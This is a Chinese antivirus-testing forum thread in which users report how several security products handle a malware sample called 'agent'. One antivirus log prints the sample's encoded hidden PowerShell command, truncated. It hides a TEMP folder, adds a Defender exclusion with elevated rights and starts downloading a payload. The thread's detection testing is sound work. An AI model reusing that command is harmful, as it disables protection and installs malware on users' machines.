agent 1x vt：2/63

显示全部楼层 · 发表于 5 天前

本帖最后由 ulyanov2233 于 2025-7-10 21:48 编辑

https://www.virustotal.com/gui/f ... ab56d39cd/detection

发错样本了，这个才是对的

显示全部楼层 · 发表于 5 天前

本帖最后由 UNknownOoo 于 2025-7-10 22:23 编辑

火绒
运行

防护项目：隐藏执行PowerShell
执行文件：C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
执行命令行："C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -enc JABmAG8AbABkAGUAcgAgAD0AIAAiACQAZQBuAHYAOgBUAEUATQBQAFwAIgAgACsAIABbAFMAeQBzAHQAZQBtAC4ARwB1AGkAZABdADoAOgBOAGUAdwBHAHUAaQBkACgAKQAuAFQAbwBTAHQAcgBpAG4AZwAoACkADQAKACQAZgBpAGwAZQBFAHgAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABSAGEAbgBkAG8AbQBGAGkAbABlAE4AYQBtAGUAKAApAC4AUgBlAHAAbABhAGMAZQAoACIALgAiACwAIgAiACkAIAArACAAIgAuAGUAeABlACIADQAKACQAZgBpAGwAZQBEAGwAbAAgAD0AIAAiAG0AcwBlAGQAZwBlAF8AZQBsAGYALgBkAGwAbAAiAA0ACgANAAoATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABmAG8AbABkAGUAcgAgAC0ASQB0AGUAbQBUAHkAcABlACAARABpAHIAZQBjAHQAbwByAHkAIAAtAEYAbwByAGMAZQAgAHwAIABPAHUAdAAtAE4AdQBsAGwADQAKAGEAdAB0AHIAaQBiACAAKwBoACAAJABmAG8AbABkAGUAcgANAAoADQAKAHMAdABhAHIAdAAgAFAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAEEAIAAiAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAGYAbwBsAGQAZQByACIAIAAtAFYAIAByAHUAbgBBAHMADQAKAA0ACgBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAE8AdQB0AEYAaQBsAGUAIA
操作结果：已允许

复制代码

防护项目：隐藏文件属性
执行文件：C:\Windows\System32\attrib.exe
执行命令行："C:\Windows\system32\attrib.exe" +h C:\Users\User\AppData\Local\Temp\b66a20a6-93da-456b-9db6-942e1acfe93c
操作结果：已允许
进程ID：5536
操作进程：C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

复制代码

显示全部楼层 · 发表于 5 天前

卡巴kill

显示全部楼层 · 发表于 5 天前

UNknownOoo 发表于 2025-7-10 21:29
火绒
扫描：特征捉

我发错样本了，现在这个才是对的

显示全部楼层 · 发表于 5 天前

腾讯电脑管家不报

显示全部楼层 · 发表于 5 天前

显示全部楼层 · 发表于 4 天前

本帖最后由 GDHJDSYDH 于 2025-7-11 05:23 编辑

EIS扫描miss，沙盒内运行后EIS检测威胁并且击杀衍生物，放行后冰盾拦截十几次

显示全部楼层 · 发表于 4 天前

WD 扫描miss
双击杀衍生，随后杀本体

[病毒样本] agent 1x vt：2/63